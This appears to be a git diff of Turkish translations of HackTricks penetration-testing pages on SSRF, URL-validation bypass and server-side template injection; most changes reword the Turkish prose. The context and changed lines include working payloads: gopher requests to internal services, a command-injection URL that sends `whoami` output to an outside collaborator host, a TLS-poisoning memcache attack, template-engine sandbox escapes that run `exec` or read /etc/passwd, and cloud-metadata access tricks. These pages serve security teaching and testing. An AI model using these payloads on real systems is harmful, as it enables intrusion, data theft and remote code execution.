_Not edin `.dll` uzantısını eklemenize gerek yoktur çünkü create fonksiyonu bunu ekleyecektir._
|
||||
|
||||
Daha fazla bilgi için **orijinal yayını**[ **buradan okuyun**](https://srcincite.io/blog/2020/06/26/sql-injection-double-uppercut-how-to-achieve-remote-code-execution-against-postgresql.html)**.**\
|
||||
O yayında **bu, postgres uzantısını oluşturmak için kullanılan** [**koddu**](https://github.com/sourceincite/tools/blob/master/pgpwn.c) (_bir postgres uzantısını nasıl derleyeceğinizi öğrenmek için önceki sürümlerden herhangi birini okuyun_).\
|
||||
|
@ -8,7 +8,7 @@ Bir **Sunucu Tarafı İstek Sahteciliği (SSRF)** açığı, bir saldırganın *
|
||||
|
||||
## SSRF'yi Yakala
|
||||
|
||||
Yapmanız gereken ilk şey, sizin tarafınızdan üretilen bir SSRF etkileşimini yakalamaktır. Bir HTTP veya DNS etkileşimini yakalamak için şu araçları kullanabilirsiniz:
|
||||
Yapmanız gereken ilk şey, sizin tarafınızdan oluşturulan bir SSRF etkileşimini yakalamaktır. Bir HTTP veya DNS etkileşimini yakalamak için aşağıdaki araçları kullanabilirsiniz:
|
||||
|
||||
- **Burp Collaborator**
|
||||
- [**pingb**](http://pingb.in)
|
||||
@ -22,7 +22,7 @@ Yapmanız gereken ilk şey, sizin tarafınızdan üretilen bir SSRF etkileşimin
|
||||
|
||||
## Beyaz Liste Alanları Aşma
|
||||
|
||||
Genellikle SSRF'nin yalnızca **belirli beyaz listeye alınmış alanlarda** veya URL'lerde çalıştığını göreceksiniz. Aşağıdaki sayfada, **bu beyaz listeyi aşmak için denemek üzere tekniklerin bir derlemesini** bulabilirsiniz:
|
||||
Genellikle SSRF'nin yalnızca **belirli beyaz listeye alınmış alanlarda** veya URL'lerde çalıştığını göreceksiniz. Aşağıdaki sayfada **bu beyaz listeyi aşmak için denemek üzere tekniklerin bir derlemesini** bulabilirsiniz:
|
||||
|
||||
{{#ref}}
|
||||
url-format-bypass.md
|
||||
@ -38,15 +38,15 @@ Daha fazla bilgi için burayı okuyun: [https://portswigger.net/web-security/ssr
|
||||
- **file://**
|
||||
- URL şeması `file://` referans alınarak, doğrudan `/etc/passwd`'a işaret eder: `file:///etc/passwd`
|
||||
- **dict://**
|
||||
- DICT URL şemasının, DICT protokolü aracılığıyla tanımlara veya kelime listelerine erişim için kullanıldığı belirtilmiştir. Verilen bir örnek, belirli bir kelime, veritabanı ve giriş numarasını hedef alan bir URL'nin nasıl oluşturulduğunu göstermektedir; ayrıca bir PHP scriptinin, saldırgan tarafından sağlanan kimlik bilgileri ile bir DICT sunucusuna bağlanmak için potansiyel olarak nasıl kötüye kullanılabileceği de belirtilmiştir: `dict://<generic_user>;<auth>@<generic_host>:<port>/d:<word>:<database>:<n>`
|
||||
- DICT URL şeması, DICT protokolü aracılığıyla tanımlara veya kelime listelerine erişim için kullanıldığı belirtilmiştir. Verilen bir örnek, belirli bir kelime, veritabanı ve giriş numarasını hedef alan bir URL'nin nasıl oluşturulduğunu gösterir ve bir PHP scriptinin saldırgan tarafından sağlanan kimlik bilgileriyle bir DICT sunucusuna bağlanmak için potansiyel olarak nasıl kötüye kullanılabileceğini gösterir: `dict://<generic_user>;<auth>@<generic_host>:<port>/d:<word>:<database>:<n>`
|
||||
- **SFTP://**
|
||||
- Güvenli kabuk üzerinden güvenli dosya transferi için bir protokol olarak tanımlanmıştır; bir örnek, bir PHP scriptinin kötü niyetli bir SFTP sunucusuna bağlanmak için nasıl istismar edilebileceğini göstermektedir: `url=sftp://generic.com:11111/`
|
||||
- Güvenli kabuk üzerinden güvenli dosya transferi için bir protokol olarak tanımlanmıştır, bir örnek, bir PHP scriptinin kötü niyetli bir SFTP sunucusuna bağlanmak için nasıl istismar edilebileceğini göstermektedir: `url=sftp://generic.com:11111/`
|
||||
- **TFTP://**
|
||||
- UDP üzerinden çalışan Trivial File Transfer Protocol, bir TFTP sunucusuna istek göndermek için tasarlanmış bir PHP scripti ile birlikte belirtilmiştir. 'generic.com' adresine '12346' portu üzerinden 'TESTUDPPACKET' dosyası için bir TFTP isteği yapılmaktadır: `ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET`
|
||||
- UDP üzerinden çalışan Trivial File Transfer Protocol, bir TFTP sunucusuna istek göndermek için tasarlanmış bir PHP scripti ile birlikte belirtilmiştir. 'generic.com' adresine '12346' portu üzerinden 'TESTUDPPACKET' dosyası için bir TFTP isteği yapılır: `ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET`
|
||||
- **LDAP://**
|
||||
- Bu bölüm, IP ağları üzerinden dağıtılmış dizin bilgi hizmetlerini yönetmek ve erişmek için kullanılan Hafif Dizin Erişim Protokolü'nü kapsamaktadır. Bir LDAP sunucusuyla localhost üzerinde etkileşim: `'%0astats%0aquit' via ssrf.php?url=ldap://localhost:11211/%0astats%0aquit.`
|
||||
- **SMTP**
|
||||
- SSRF açıklarını istismar ederek localhost üzerindeki SMTP hizmetleriyle etkileşim kurma yöntemi açıklanmıştır; bu, dahili alan adlarını açığa çıkarmak ve bu bilgilere dayalı daha fazla araştırma eylemleri için adımları içermektedir.
|
||||
- SSRF açıklarını istismar ederek localhost üzerindeki SMTP hizmetleriyle etkileşim kurma yöntemi açıklanmıştır; bu, dahili alan adlarını ortaya çıkarmak ve bu bilgilere dayalı daha fazla araştırma eylemleri için adımları içermektedir.
|
||||
```
|
||||
From https://twitter.com/har1sec/status/1182255952055164929
|
||||
1. connect with SSRF on smtp localhost:25
|
||||
@ -55,7 +55,7 @@ From https://twitter.com/har1sec/status/1182255952055164929
|
||||
4. connect
|
||||
```
|
||||
- **Curl URL globbing - WAF atlatma**
|
||||
- Eğer SSRF **curl** ile çalıştırılıyorsa, WAF'ları atlatmak için faydalı olabilecek [**URL globbing**](https://everything.curl.dev/cmdline/globbing) adlı bir özelliği vardır. Örneğin bu [**yazıda**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-easylfi) `file` protokolü aracılığıyla bir **path traversal** örneğini bulabilirsiniz:
|
||||
- Eğer SSRF **curl** ile çalıştırılıyorsa, WAF'ları atlatmak için faydalı olabilecek [**URL globbing**](https://everything.curl.dev/cmdline/globbing) adında bir özelliği vardır. Örneğin bu [**yazıda**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-easylfi) `file` protokolü aracılığıyla bir **path traversal** örneğini bulabilirsiniz:
|
||||
```
|
||||
file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt}
|
||||
```
|
||||
@ -64,7 +64,7 @@ file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt}
|
||||
|
||||
### Gopher://
|
||||
|
||||
Bu protokolü kullanarak sunucunun **göndermesini** istediğiniz **IP, port ve baytları** belirtebilirsiniz. Ardından, temelde bir SSRF'yi kullanarak **herhangi bir TCP sunucusuyla iletişim kurabilirsiniz** (ancak önce hizmetle nasıl iletişim kuracağınızı bilmeniz gerekir).\
|
||||
Bu protokolü kullanarak sunucunun **göndermesini** istediğiniz **IP, port ve baytları** belirtebilirsiniz. Ardından, temelde bir SSRF'yi **herhangi bir TCP sunucusuyla iletişim kurmak için** istismar edebilirsiniz (ancak önce hizmetle nasıl iletişim kuracağınızı bilmeniz gerekir).\
|
||||
Neyse ki, birkaç hizmet için payload'lar oluşturmak üzere [Gopherus](https://github.com/tarunkant/Gopherus) kullanabilirsiniz. Ayrıca, _Java RMI_ hizmetleri için _gopher_ payload'ları oluşturmak üzere [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) kullanılabilir.
|
||||
|
||||
**Gopher smtp**
|
||||
@ -106,7 +106,7 @@ curl 'gopher://0.0.0.0:27017/_%a0%00%00%00%00%00%00%00%00%00%00%00%dd%0
|
||||
```
|
||||
## SSRF via Referrer header & Others
|
||||
|
||||
Sunuculardaki analiz yazılımları genellikle gelen bağlantıları takip etmek için Referrer başlığını kaydeder, bu uygulamaları Server-Side Request Forgery (SSRF) zafiyetlerine istemeden maruz bırakır. Bunun nedeni, bu tür yazılımların Referrer başlığında belirtilen dış URL'leri ziyaret ederek yönlendirme sitesi içeriğini analiz etmesidir. Bu zafiyetleri ortaya çıkarmak için, analiz araçlarının Referer başlığını işleme şekline dayanarak potansiyel SSRF saldırı yüzeylerini tanımlamak için "**Collaborator Everywhere**" Burp Suite eklentisi önerilmektedir.
|
||||
Sunuculardaki analiz yazılımları genellikle gelen bağlantıları izlemek için Referrer başlığını kaydeder, bu uygulamaları Server-Side Request Forgery (SSRF) zafiyetlerine istemeden maruz bırakır. Bunun nedeni, bu tür yazılımların Referrer başlığında belirtilen dış URL'leri ziyaret ederek yönlendirme sitesi içeriğini analiz etmesidir. Bu zafiyetleri ortaya çıkarmak için, analiz araçlarının Referer başlığını işleme biçiminden yararlanarak potansiyel SSRF saldırı yüzeylerini tanımlamak için Burp Suite eklentisi "**Collaborator Everywhere**" önerilmektedir.
|
||||
|
||||
## SSRF via SNI data from certificate
|
||||
|
||||
@ -121,7 +121,7 @@ ssl_preread on;
|
||||
}
|
||||
}
|
||||
```
|
||||
Bu yapılandırmada, Server Name Indication (SNI) alanındaki değer doğrudan arka ucun adresi olarak kullanılmaktadır. Bu ayar, SNI alanında istenen IP adresini veya alan adını belirterek istismar edilebilecek bir Server-Side Request Forgery (SSRF) açığına maruz kalmaktadır. Aşağıda, `internal.host.com` gibi keyfi bir arka uca bağlantıyı zorlamak için `openssl` komutunun bir istismar örneği verilmiştir:
|
||||
Bu yapılandırmada, Server Name Indication (SNI) alanındaki değer doğrudan arka ucun adresi olarak kullanılmaktadır. Bu ayar, SNI alanında istenen IP adresini veya alan adını belirterek istismar edilebilecek bir Server-Side Request Forgery (SSRF) açığına maruz bırakır. Aşağıda, `internal.host.com` gibi keyfi bir arka uca bağlantıyı zorlamak için `openssl` komutunun bir istismar örneği verilmiştir:
|
||||
```bash
|
||||
openssl s_client -connect target.com:443 -servername "internal.host.com" -crlf
|
||||
```
|
||||
@ -129,11 +129,11 @@ openssl s_client -connect target.com:443 -servername "internal.host.com" -crlf
|
||||
|
||||
## Komut Enjeksiyonu ile SSRF
|
||||
|
||||
Aşağıdaki gibi bir payload denemeye değer olabilir: `` url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami` ``
|
||||
Aşağıdaki gibi bir yük denemeye değer olabilir: `` url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami` ``
|
||||
|
||||
## PDF'lerin İşlenmesi
|
||||
|
||||
Eğer web sayfası sağladığınız bazı bilgilerle otomatik olarak bir PDF oluşturuyorsa, **PDF oluşturucu tarafından (sunucu) PDF oluşturulurken çalıştırılacak bazı JS'ler ekleyebilirsiniz** ve SSRF'yi kötüye kullanabilirsiniz. [**Daha fazla bilgi burada bulunabilir**](../xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)**.**
|
||||
Eğer web sayfası sağladığınız bazı bilgilerle otomatik olarak bir PDF oluşturuyorsa, **PDF oluşturucu tarafından (sunucu) PDF oluşturulurken çalıştırılacak bazı JS'ler ekleyebilirsiniz** ve SSRF'yi kötüye kullanabilirsiniz. [**Daha fazla bilgi burada**](../xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)**.**
|
||||
|
||||
## SSRF'den DoS'a
|
||||
|
||||
@ -187,7 +187,7 @@ Tricks [**from this post**](https://rafa.hashnode.dev/exploiting-http-parsers-in
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Flask proxy'ye karşı savunmasız kod</summary>
|
||||
<summary>Flask proxy vulnerable code</summary>
|
||||
```python
|
||||
from flask import Flask
|
||||
from requests import get
|
||||
@ -245,7 +245,7 @@ var_dump($response);
|
||||
```
|
||||
</details>
|
||||
|
||||
PHP, URL'nun yolundaki **slash'tan önce `*` karakterinin** kullanılmasına izin verir, ancak yalnızca kök yol adı `/` için kullanılabileceği ve ilk slash'tan önce nokta `.` kullanılmasına izin verilmediği gibi diğer sınırlamaları da vardır, bu nedenle örneğin noktasız-hex kodlu bir IP adresi kullanmak gereklidir:
|
||||
PHP, URL'nun yolundaki **slash'tan önce `*` karakterinin** kullanılmasına izin verir, ancak bunun gibi yalnızca kök yol adı `/` için kullanılabileceği ve ilk slash'tan önce nokta `.` kullanılmasına izin verilmediği gibi başka sınırlamaları da vardır, bu nedenle örneğin noktasız-hex kodlu bir IP adresi kullanmak gereklidir:
|
||||
```http
|
||||
GET *@0xa9fea9fe/ HTTP/1.1
|
||||
Host: target.com
|
||||
@ -253,7 +253,7 @@ Connection: close
|
||||
```
|
||||
## DNS Rebidding CORS/SOP atlatma
|
||||
|
||||
Eğer **CORS/SOP** nedeniyle **yerel bir IP'den içerik sızdırma** ile **sorunlar** yaşıyorsanız, **DNS Rebidding** bu sınırlamayı aşmak için kullanılabilir:
|
||||
Eğer **CORS/SOP** nedeniyle **yerel bir IP'den içerik sızdırma** ile ilgili **sorunlar** yaşıyorsanız, **DNS Rebidding** bu sınırlamayı aşmak için kullanılabilir:
|
||||
|
||||
{{#ref}}
|
||||
../cors-bypass.md
|
||||
@ -275,14 +275,14 @@ Gereksinimler:
|
||||
|
||||
Saldırı:
|
||||
|
||||
1. Kullanıcı/bota **saldırganın** kontrolündeki bir **alan adına** **erişim** istemesini söyleyin.
|
||||
2. **DNS**'nin **TTL**'si **0** saniye (bu nedenle kurban, alan adının IP'sini yakında tekrar kontrol edecek)
|
||||
1. Kullanıcı/bota **saldırgan tarafından kontrol edilen bir** **alan adına** **erişim** istemesini söyleyin.
|
||||
2. **DNS**'nin **TTL**'si **0** saniye (bu nedenle kurban alan adının IP'sini yakında tekrar kontrol edecek)
|
||||
3. Kurban ile saldırganın alanı arasında bir **TLS bağlantısı** oluşturulur. Saldırgan **yükü** **Oturum ID'si veya Oturum Bileti** içine yerleştirir.
|
||||
4. **Alan**, **kendisine** karşı **sonsuz bir yönlendirme döngüsü** başlatır. Bunun amacı, kullanıcı/botun alan adına erişmesini sağlamak ve alanın **tekrar** bir **DNS isteği** yapmasını sağlamaktır.
|
||||
4. **Alan**, **kendisine** karşı **sonsuz bir yönlendirme döngüsü** başlatır. Bunun amacı, kullanıcı/botun alan adına erişmesini sağlamak ve tekrar **DNS isteği** yapmasını sağlamaktır.
|
||||
5. DNS isteğinde artık bir **özel IP** adresi verilir (örneğin 127.0.0.1)
|
||||
6. Kullanıcı/bot **TLS bağlantısını yeniden kurmaya** çalışacak ve bunu yapmak için **Oturum** ID'sini/Bileti ID'sini **gönderecektir** (saldırganın **yükü** burada bulunuyordu). Böylece tebrikler, **kullanıcı/botu kendine saldırmaya** ikna ettiniz.
|
||||
6. Kullanıcı/bot **TLS bağlantısını yeniden kurmaya** çalışacak ve bunu yapmak için **Oturum** ID'sini/Bileti ID'sini **gönderecektir** (burada **saldırganın yükü** bulunuyordu). Böylece tebrikler, **kullanıcı/bota kendisini saldırttırmayı** başardınız.
|
||||
|
||||
Bu saldırı sırasında, localhost:11211 (_memcache_)'e saldırmak istiyorsanız, kurbanın başlangıç bağlantısını www.attacker.com:11211 ile kurmasını sağlamanız gerektiğini unutmayın ( **port her zaman aynı olmalıdır**).\
|
||||
Bu saldırı sırasında, localhost:11211 (_memcache_)'e saldırmak istiyorsanız, kurbanın başlangıç bağlantısını www.attacker.com:11211 ile kurmasını sağlamanız gerektiğini unutmayın (**port her zaman aynı olmalıdır**).\
|
||||
Bu saldırıyı **gerçekleştirmek için aracı kullanabilirsiniz**: [https://github.com/jmdx/TLS-poison/](https://github.com/jmdx/TLS-poison/)\
|
||||
**Daha fazla bilgi** için bu saldırının açıklandığı konuşmaya göz atın: [https://www.youtube.com/watch?v=qGpAJxfADjo\&ab_channel=DEFCONConference](https://www.youtube.com/watch?v=qGpAJxfADjo&ab_channel=DEFCONConference)
|
||||
|
||||
@ -292,9 +292,9 @@ Kör bir SSRF ile kör olmayan bir SSRF arasındaki fark, kör olanın SSRF iste
|
||||
|
||||
### Zaman tabanlı SSRF
|
||||
|
||||
Sunucudan gelen yanıtların **zamanını kontrol ederek**, bir kaynağın var olup olmadığını **bilmek mümkün olabilir** (belki mevcut bir kaynağa erişmek, var olmayan bir kaynağa erişmekten daha fazla zaman alır)
|
||||
Sunucudan gelen yanıtların **zamanını kontrol ederek** bir kaynağın var olup olmadığını **bilmek mümkün olabilir** (belki mevcut bir kaynağa erişmek, var olmayan bir kaynağa erişmekten daha fazla zaman alır)
|
||||
|
||||
## Cloud SSRF İstismarı
|
||||
## Bulut SSRF İstismarı
|
||||
|
||||
Bir bulut ortamında çalışan bir makinede bir SSRF zafiyeti bulursanız, bulut ortamı hakkında ilginç bilgiler ve hatta kimlik bilgileri elde edebilirsiniz:
|
||||
|
||||
@ -302,7 +302,7 @@ Bir bulut ortamında çalışan bir makinede bir SSRF zafiyeti bulursanız, bulu
|
||||
cloud-ssrf.md
|
||||
{{#endref}}
|
||||
|
||||
## SSRF Zafiyetli Platformlar
|
||||
## SSRF Zafiyetine Sahip Platformlar
|
||||
|
||||
Birçok bilinen platform, SSRF zafiyetleri içermektedir veya içermiştir, bunları kontrol edin:
|
||||
|
||||
@ -333,7 +333,7 @@ Bu araç, aşağıdakiler için Gopher yükleri oluşturur:
|
||||
|
||||
- [SSRF kullanımı hakkında blog yazısı](https://blog.tneitzel.eu/posts/01-attacking-java-rmi-via-ssrf/)
|
||||
|
||||
_remote-method-guesser_, en yaygın _Java RMI_ zafiyetleri için saldırı işlemlerini destekleyen bir _Java RMI_ zafiyet tarayıcısıdır. Mevcut işlemlerin çoğu, istenen işlem için bir _SSRF_ yükü oluşturmak üzere `--ssrf` seçeneğini destekler. `--gopher` seçeneği ile birlikte, doğrudan kullanılabilir _gopher_ yükleri oluşturulabilir.
|
||||
_remote-method-guesser_, en yaygın _Java RMI_ zafiyetleri için saldırı işlemlerini destekleyen bir _Java RMI_ zafiyet tarayıcısıdır. Mevcut olan çoğu işlem, istenen işlem için bir _SSRF_ yükü oluşturmak üzere `--ssrf` seçeneğini destekler. `--gopher` seçeneği ile birlikte, doğrudan kullanılabilir _gopher_ yükleri oluşturulabilir.
|
||||
|
||||
### [SSRF Proxy](https://github.com/bcoles/ssrf_proxy)
|
||||
|
||||
@ -341,7 +341,9 @@ SSRF Proxy, istemci HTTP trafiğini Server-Side Request Forgery (SSRF) zafiyetin
|
||||
|
||||
### Pratik yapmak için
|
||||
|
||||
{% embed url="https://github.com/incredibleindishell/SSRF_Vulnerable_Lab" %}
|
||||
{{#ref}}
|
||||
https://github.com/incredibleindishell/SSRF_Vulnerable_Lab
|
||||
{{#endref}}
|
||||
|
||||
## Referanslar
|
||||
|
||||
|
@ -108,7 +108,7 @@ attacker。com
|
||||
Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ
|
||||
ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ ⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ ⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿
|
||||
```
|
||||
### Alan Adı Karışıklığı
|
||||
### Alan Karışıklığı
|
||||
```bash
|
||||
# Try also to change attacker.com for 127.0.0.1 to try to access localhost
|
||||
# Try replacing https by http
|
||||
@ -153,13 +153,15 @@ https://metadata/expected/path/..%2f..%2f/vulnerable/path
|
||||
```
|
||||
### Fuzzing
|
||||
|
||||
The tool [**recollapse**](https://github.com/0xacb/recollapse) belirli bir girdi üzerinden varyasyonlar üretebilir ve kullanılan regex'i aşmayı deneyebilir. Daha fazla bilgi için [**bu yazıya**](https://0xacb.com/2022/11/21/recollapse/) da göz atın.
|
||||
The tool [**recollapse**](https://github.com/0xacb/recollapse) belirli bir girdi üzerinden varyasyonlar üretebilir ve kullanılan regex'i atlatmaya çalışabilir. Daha fazla bilgi için [**bu yazıya**](https://0xacb.com/2022/11/21/recollapse/) da göz atın.
|
||||
|
||||
### Automatic Custom Wordlists
|
||||
|
||||
Portsweigger'dan [**URL validation bypass cheat sheet** web uygulamasına](https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet) göz atın; burada izin verilen host ve saldırganın host'unu girebilir ve sizin için denemek üzere bir URL listesi oluşturacaktır. Ayrıca URL'yi bir parametre, Host başlığı veya CORS başlığı içinde kullanıp kullanamayacağınızı da dikkate alır.
|
||||
Portswigger'dan [**URL validation bypass cheat sheet** web uygulamasına](https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet) göz atın; burada izin verilen host'u ve saldırganın host'unu girebilir ve denemek için bir URL listesi oluşturabilirsiniz. Ayrıca URL'yi bir parametre, Host başlığı veya CORS başlığı içinde kullanıp kullanamayacağınızı da dikkate alır.
|
||||
|
||||
{% embed url="https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet" %}
|
||||
{{#ref}}
|
||||
https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet
|
||||
{{#endref}}
|
||||
|
||||
### Bypass via redirect
|
||||
|
||||
@ -190,7 +192,7 @@ HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()
|
||||
|
||||
### Blackslash-hilesi
|
||||
|
||||
_Backslash-hilesi_, [WHATWG URL Standard](https://url.spec.whatwg.org/#url-parsing) ve [RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#appendix-B) arasındaki bir farkı kullanır. RFC3986, URI'ler için genel bir çerçeve iken, WHATWG web URL'lerine özgüdür ve modern tarayıcılar tarafından benimsenmiştir. Ana ayrım, WHATWG standardının ters eğik çizgiyi (`\`) ileri eğik çizgiye (`/`) eşdeğer olarak tanımasında yatmaktadır; bu, URL'lerin nasıl ayrıştırıldığını etkiler ve özellikle bir URL'deki ana bilgisayardan yola geçişi işaret eder.
|
||||
_Backslash-hilesi_, [WHATWG URL Standard](https://url.spec.whatwg.org/#url-parsing) ve [RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#appendix-B) arasındaki bir farkı kullanır. RFC3986, URI'ler için genel bir çerçeve iken, WHATWG web URL'lerine özgüdür ve modern tarayıcılar tarafından benimsenmiştir. Anahtar ayrım, WHATWG standardının ters eğik çizgiyi (`\`) ileri eğik çizgiye (`/`) eşdeğer olarak tanımasında yatmaktadır; bu, URL'lerin nasıl ayrıştırıldığını etkiler ve özellikle bir URL'deki ana bilgisayardan yola geçişi işaret eder.
|
||||
|
||||

|
||||
|
||||
|
@ -2,7 +2,6 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## SSTI (Sunucu Tarafı Şablon Enjeksiyonu) Nedir
|
||||
|
||||
Sunucu tarafı şablon enjeksiyonu, bir saldırganın sunucuda yürütülen bir şablona kötü niyetli kod enjekte edebilmesi durumunda meydana gelen bir güvenlik açığıdır. Bu güvenlik açığı, Jinja da dahil olmak üzere çeşitli teknolojilerde bulunabilir.
|
||||
@ -23,7 +22,7 @@ Sunucu tarafı şablon enjeksiyonu zafiyetlerini önlemek için, geliştiriciler
|
||||
|
||||
### Tespit
|
||||
|
||||
Sunucu Tarafı Şablon Enjeksiyonu (SSTI) tespit etmek için, başlangıçta **şablonu fuzzing** yapmak basit bir yaklaşımdır. Bu, şablona özel karakterlerin bir dizisini (**`${{<%[%'"}}%\`**) enjekte etmeyi ve sunucunun düzenli verilere karşı bu özel yükle olan yanıtındaki farklılıkları analiz etmeyi içerir. Zafiyet göstergeleri şunları içerir:
|
||||
Sunucu Tarafı Şablon Enjeksiyonu (SSTI) tespit etmek için, başlangıçta **şablonu fuzzing** yapmak basit bir yaklaşımdır. Bu, şablona özel karakterlerin bir dizisini (**`${{<%[%'"}}%\`**) enjekte etmeyi ve sunucunun düzenli verilere karşı bu özel yükle olan yanıtındaki farklılıkları analiz etmeyi içerir. Zafiyet göstergeleri şunlardır:
|
||||
|
||||
- Zafiyeti ve potansiyel olarak şablon motorunu ortaya çıkaran hatalar.
|
||||
- Yansımada yükün yokluğu veya bazı kısımlarının eksik olması, sunucunun bunu düzenli verilerden farklı işlediğini ima eder.
|
||||
@ -113,7 +112,7 @@ ${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI()
|
||||
```
|
||||
**Freemarker - Sandbox atlatma**
|
||||
|
||||
⚠️ yalnızca 2.3.30'dan önceki Freemarker sürümlerinde çalışır
|
||||
⚠️ yalnızca 2.3.30 altındaki Freemarker sürümlerinde çalışır
|
||||
```java
|
||||
<#assign classloader=article.class.protectionDomain.classLoader>
|
||||
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
|
||||
@ -151,8 +150,8 @@ $out.read()
|
||||
```
|
||||
**Daha fazla bilgi**
|
||||
|
||||
- Velocity bölümü için [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)
|
||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#velocity](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#velocity)
|
||||
- [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection) adresindeki Velocity bölümünde
|
||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#velocity](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#velocity)
|
||||
|
||||
### Thymeleaf
|
||||
|
||||
@ -204,7 +203,7 @@ el-expression-language.md
|
||||
```
|
||||
**Filtreleri Atlatma**
|
||||
|
||||
Birden fazla değişken ifadesi kullanılabilir, eğer `${...}` işe yaramıyorsa `#{...}`, `*{...}`, `@{...}` veya `~{...}` deneyin.
|
||||
Birden fazla değişken ifadesi kullanılabilir, eğer `${...}` çalışmıyorsa `#{...}`, `*{...}`, `@{...}` veya `~{...}` deneyin.
|
||||
|
||||
- `/etc/passwd` dosyasını okuyun
|
||||
```java
|
||||
@ -258,7 +257,7 @@ el-expression-language.md
|
||||
|
||||
- `{{ someString.toUPPERCASE() }}`
|
||||
|
||||
Pebble'ın eski versiyonu ( < version 3.0.9):
|
||||
Pebble'in eski versiyonu ( < version 3.0.9):
|
||||
```java
|
||||
{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}
|
||||
```
|
||||
@ -418,8 +417,6 @@ this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 1
|
||||
|
||||
- Daha fazla bilgi için [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756)
|
||||
|
||||
|
||||
|
||||
##
|
||||
|
||||
### Smarty (PHP)
|
||||
@ -432,8 +429,8 @@ this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 1
|
||||
```
|
||||
**Daha fazla bilgi**
|
||||
|
||||
- [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection) adresindeki Smarty bölümü
|
||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#smarty](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#smarty)
|
||||
- Smarty bölümü için [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)
|
||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#smarty](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#smarty)
|
||||
|
||||
### Twig (PHP)
|
||||
|
||||
@ -480,7 +477,7 @@ array("first_name" => $user.first_name)
|
||||
**Daha fazla bilgi**
|
||||
|
||||
- [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection) adresindeki Twig ve Twig (Sandboxed) bölümü
|
||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#twig](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#twig)
|
||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#twig](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#twig)
|
||||
|
||||
### Plates (PHP)
|
||||
|
||||
@ -518,7 +515,7 @@ Düzen şablonu:
|
||||
|
||||
### PHPlib ve HTML_Template_PHPLIB (PHP)
|
||||
|
||||
[HTML_Template_PHPLIB](https://github.com/pear/HTML_Template_PHPLIB), PHPlib ile aynı ancak Pear'a taşınmıştır.
|
||||
[HTML_Template_PHPLIB](https://github.com/pear/HTML_Template_PHPLIB) PHPlib ile aynıdır ancak Pear'a taşınmıştır.
|
||||
|
||||
`authors.tpl`
|
||||
```html
|
||||
@ -614,7 +611,7 @@ echo $t->finish($t->parse('OUT', 'authors'));
|
||||
|
||||
### patTemplate (PHP)
|
||||
|
||||
> [patTemplate](https://github.com/wernerwa/pat-template) derlenmeyen PHP şablon motorudur ve bir belgeyi farklı parçalara ayırmak için XML etiketleri kullanır.
|
||||
> [patTemplate](https://github.com/wernerwa/pat-template) XML etiketlerini kullanarak bir belgeyi farklı parçalara ayıran derlenmeyen PHP şablon motorudur.
|
||||
```xml
|
||||
<patTemplate:tmpl name="page">
|
||||
This is the main page.
|
||||
@ -665,14 +662,12 @@ URLencoded:
|
||||
```
|
||||
**Daha fazla bilgi**
|
||||
|
||||
- [http://mahmoudsec.blogspot.com/2019/04/handlebars-template-injection-and-rce.html](http://mahmoudsec.blogspot.com/2019/04/handlebars-template-injection-and-rce.html)
|
||||
|
